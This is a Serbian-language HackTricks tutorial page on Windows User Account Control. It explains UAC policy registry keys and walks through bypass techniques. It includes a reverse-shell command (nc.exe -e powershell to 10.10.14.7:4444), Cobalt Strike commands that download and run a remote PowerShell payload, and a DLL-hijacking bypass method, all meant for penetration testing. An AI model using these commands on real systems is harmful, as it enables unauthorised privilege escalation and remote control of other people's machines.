UAC - Kontrola korisničkog naloga

Reading time: 11 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

UAC

Kontrola korisničkog naloga (UAC) je funkcija koja omogućava izdavanje saglasnosti za uzdignute aktivnosti. Aplikacije imaju različite integrity nivoe, a program sa visokim nivoom može izvoditi zadatke koji mogu potencijalno ugroziti sistem. Kada je UAC omogućen, aplikacije i zadaci uvek rade pod sigurnosnim kontekstom naloga koji nije administrator osim ako administrator izričito ne odobri tim aplikacijama/zadacima pristup na nivou administratora za izvršavanje. To je funkcija pogodnosti koja štiti administratore od nenamernih promena, ali se ne smatra sigurnosnom granicom.

Za više informacija o nivoima integriteta:

Integrity Levels

Kada je UAC aktivan, korisniku administratoru se dodeljuju 2 tokena: standardni korisnički ključ, za obavljanje redovnih akcija na redovnom nivou, i jedan sa privilegijama administratora.

Ova stranica detaljno objašnjava kako UAC funkcioniše i uključuje proces prijavljivanja, korisničko iskustvo i arhitekturu UAC-a. Administratori mogu koristiti sigurnosne politike da konfigurišu kako UAC funkcioniše specifično za njihovu organizaciju na lokalnom nivou (koristeći secpol.msc), ili da se konfiguriše i primeni putem objekata grupne politike (GPO) u okruženju Active Directory domena. Različite postavke su detaljno objašnjene ovde. Postoji 10 postavki grupne politike koje se mogu postaviti za UAC. Sledeća tabela pruža dodatne detalje:

Postavka grupne politikeRegistry KeyPodrazumevana postavka
Kontrola korisničkog naloga: Mod odobravanja administratora za ugrađeni nalog administratoraFilterAdministratorTokenOnemogućeno
Kontrola korisničkog naloga: Dozvoli UIAccess aplikacijama da traže uzdizanje bez korišćenja sigurnog radnog okruženjaEnableUIADesktopToggleOnemogućeno
Kontrola korisničkog naloga: Ponašanje prompte za uzdizanje za administratore u modu odobravanja administratoraConsentPromptBehaviorAdminTraži saglasnost za ne-Windows binarne datoteke
Kontrola korisničkog naloga: Ponašanje prompte za uzdizanje za standardne korisnikeConsentPromptBehaviorUserTraži kredencijale na sigurnom radnom okruženju
Kontrola korisničkog naloga: Otkrivanje instalacija aplikacija i traženje uzdizanjaEnableInstallerDetectionOmogućeno (podrazumevano za kućne verzije) Onemogućeno (podrazumevano za preduzeća)
Kontrola korisničkog naloga: Samo uzdigni izvršne datoteke koje su potpisane i validiraneValidateAdminCodeSignaturesOnemogućeno
Kontrola korisničkog naloga: Samo uzdigni UIAccess aplikacije koje su instalirane na sigurnim lokacijamaEnableSecureUIAPathsOmogućeno
Kontrola korisničkog naloga: Pokreni sve administratore u modu odobravanja administratoraEnableLUAOmogućeno
Kontrola korisničkog naloga: Prebaci se na sigurno radno okruženje kada tražiš uzdizanjePromptOnSecureDesktopOmogućeno
Kontrola korisničkog naloga: Virtualizuj neuspehe pisanja datoteka i registra na lokacije po korisnikuEnableVirtualizationOmogućeno

Teorija zaobilaženja UAC-a

Neki programi su automatski uzdignuti ako korisnik pripada grupi administratora. Ove binarne datoteke imaju unutar svojih Manifesta opciju autoElevate sa vrednošću True. Binarna datoteka takođe mora biti potpisana od strane Microsoft-a.

Zatim, da bi se zaobišao UAC (uzdignuti sa srednjeg nivoa integriteta na visoki), neki napadači koriste ovu vrstu binarnih datoteka da izvrše proizvoljni kod jer će biti izvršen iz procesa sa visokim nivoom integriteta.

Možete proveriti Manifest binarne datoteke koristeći alat sigcheck.exe iz Sysinternals. I možete videti nivo integriteta procesa koristeći Process Explorer ili Process Monitor (iz Sysinternals).

Proveri UAC

Da potvrdite da li je UAC omogućen, uradite:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Ako je 1, onda je UAC aktiviran, ako je 0 ili ne postoji, onda je UAC neaktivan.

Zatim, proverite koji nivo je konfiguran:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • Ako je 0, UAC neće tražiti (kao onemogućeno)
  • Ako je 1, administratoru se traži korisničko ime i lozinka da izvrši binarni fajl sa visokim pravima (na Secure Desktop)
  • Ako je 2 (Uvek me obavesti) UAC će uvek tražiti potvrdu od administratora kada pokuša da izvrši nešto sa visokim privilegijama (na Secure Desktop)
  • Ako je 3, kao 1 ali nije neophodno na Secure Desktop
  • Ako je 4, kao 2 ali nije neophodno na Secure Desktop
  • Ako je 5(podrazumevano) tražiće od administratora da potvrdi pokretanje ne-Windows binarnih fajlova sa visokim privilegijama

Zatim, treba da pogledate vrednost LocalAccountTokenFilterPolicy
Ako je vrednost 0, tada samo korisnik RID 500 (ugrađeni Administrator) može da obavlja administrativne zadatke bez UAC, a ako je 1, svi nalozi unutar grupe "Administratori" mogu to da rade.

I, konačno, pogledajte vrednost ključa FilterAdministratorToken
Ako je 0 (podrazumevano), ugrađeni Administrator nalog može da obavlja zadatke daljinske administracije, a ako je 1, ugrađeni nalog Administrator ne može da obavlja zadatke daljinske administracije, osim ako je LocalAccountTokenFilterPolicy postavljen na 1.

Sažetak

  • Ako EnableLUA=0 ili ne postoji, nema UAC za nikoga
  • Ako EnableLua=1 i LocalAccountTokenFilterPolicy=1, Nema UAC za nikoga
  • Ako EnableLua=1 i LocalAccountTokenFilterPolicy=0 i FilterAdministratorToken=0, Nema UAC za RID 500 (Ugrađeni Administrator)
  • Ako EnableLua=1 i LocalAccountTokenFilterPolicy=0 i FilterAdministratorToken=1, UAC za sve

Sve ove informacije mogu se prikupiti koristeći metasploit modul: post/windows/gather/win_privs

Takođe možete proveriti grupe vašeg korisnika i dobiti nivo integriteta:

net user %username%
whoami /groups | findstr Level

UAC zaobilaženje

note

Imajte na umu da ako imate grafički pristup žrtvi, UAC zaobilaženje je jednostavno jer možete jednostavno kliknuti na "Da" kada se pojavi UAC prompter.

UAC zaobilaženje je potrebno u sledećoj situaciji: UAC je aktiviran, vaš proces se izvršava u kontekstu srednje integriteta, a vaš korisnik pripada grupi administratora.

Važno je napomenuti da je mnogo teže zaobići UAC ako je na najvišem nivou sigurnosti (Uvek) nego ako je na bilo kojem od drugih nivoa (Podrazumevano).

UAC onemogućen

Ako je UAC već onemogućen (ConsentPromptBehaviorAdmin je 0) možete izvršiti reverznu ljusku sa administratorskim privilegijama (visok nivo integriteta) koristeći nešto poput:

bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC zaobilaženje sa duplikacijom tokena

Veoma osnovno UAC "zaobilaženje" (potpun pristup sistemu datoteka)

Ako imate shell sa korisnikom koji je unutar Administrators grupe, možete montirati C$ deljenje putem SMB (sistem datoteka) lokalno na novom disku i imaćete pristup svemu unutar sistema datoteka (čak i Administratorskoj početnoj fascikli).

warning

Izgleda da ovaj trik više ne funkcioniše

bash
net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC zaobilaženje sa cobalt strike

Tehnike Cobalt Strike će raditi samo ako UAC nije postavljen na maksimalni nivo bezbednosti.

bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire i Metasploit takođe imaju nekoliko modula za bypass UAC.

KRBUACBypass

Dokumentacija i alat u https://github.com/wh0amitz/KRBUACBypass

UAC bypass eksploati

UACME koji je kompilacija nekoliko UAC bypass eksploata. Imajte na umu da ćete morati da kompajlirate UACME koristeći visual studio ili msbuild. Kompilacija će kreirati nekoliko izvršnih fajlova (kao što je Source\Akagi\outout\x64\Debug\Akagi.exe), moraćete da znate koji vam je potreban.
Trebalo bi da budete oprezni jer neki bypass-ovi mogu izazvati neka druga programa koja će obavestiti korisnika da se nešto dešava.

UACME ima verziju iz koje je svaka tehnika počela da funkcioniše. Možete pretraživati tehniku koja utiče na vaše verzije:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Takođe, koristeći this stranicu dobijate Windows verziju 1607 iz verzija build-a.

Više UAC zaobilaženja

Sve tehnike korišćene ovde za zaobilaženje AUC zahtevaju potpunu interaktivnu ljusku sa žrtvom (obična nc.exe ljuska nije dovoljna).

Možete dobiti koristeći meterpreter sesiju. Migrirajte na proces koji ima Session vrednost jednaku 1:

(explorer.exe bi trebao raditi)

UAC zaobilaženje sa GUI

Ako imate pristup GUI, možete jednostavno prihvatiti UAC prompt kada ga dobijete, zaista vam ne treba zaobilaženje. Dakle, dobijanje pristupa GUI će vam omogućiti da zaobiđete UAC.

Štaviše, ako dobijete GUI sesiju koju je neko koristio (potencijalno putem RDP) postoje neki alati koji će raditi kao administrator odakle možete pokrenuti cmd na primer kao admin direktno bez ponovnog pozivanja od strane UAC kao https://github.com/oski02/UAC-GUI-Bypass-appverif. Ovo bi moglo biti malo diskretnije.

Bučan brute-force UAC zaobilaženje

Ako vas ne brine buka, uvek možete pokrenuti nešto poput https://github.com/Chainski/ForceAdmin što traži da se podignu dozvole dok korisnik ne prihvati.

Vaše vlastito zaobilaženje - Osnovna metodologija UAC zaobilaženja

Ako pogledate UACME, primetićete da većina UAC zaobilaženja zloupotrebljava Dll Hijacking ranjivost (pretežno pisanje malicioznog dll-a na C:\Windows\System32). Pročitajte ovo da biste saznali kako pronaći Dll Hijacking ranjivost.

  1. Pronađite binarni fajl koji će autoelevate (proverite da kada se izvrši, radi na visokom integritetu).
  2. Sa procmon pronađite "NAME NOT FOUND" događaje koji mogu biti ranjivi na DLL Hijacking.
  3. Verovatno ćete morati da napišete DLL unutar nekih zaštićenih putanja (kao što je C:\Windows\System32) gde nemate dozvole za pisanje. Ovo možete zaobići koristeći:
    1. wusa.exe: Windows 7, 8 i 8.1. Omogućava ekstrakciju sadržaja CAB fajla unutar zaštićenih putanja (jer se ovaj alat izvršava iz visoke integritetske nivoa).
    2. IFileOperation: Windows 10.
  4. Pripremite skriptu da kopirate svoj DLL unutar zaštićene putanje i izvršite ranjivi i autoelevated binarni fajl.

Još jedna tehnika zaobilaženja UAC

Sastoji se u praćenju da li autoElevated binarni pokušava da pročita iz registrija ime/putanju binarne ili komande koja treba da bude izvršena (ovo je zanimljivije ako binarni pretražuje ove informacije unutar HKCU).

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks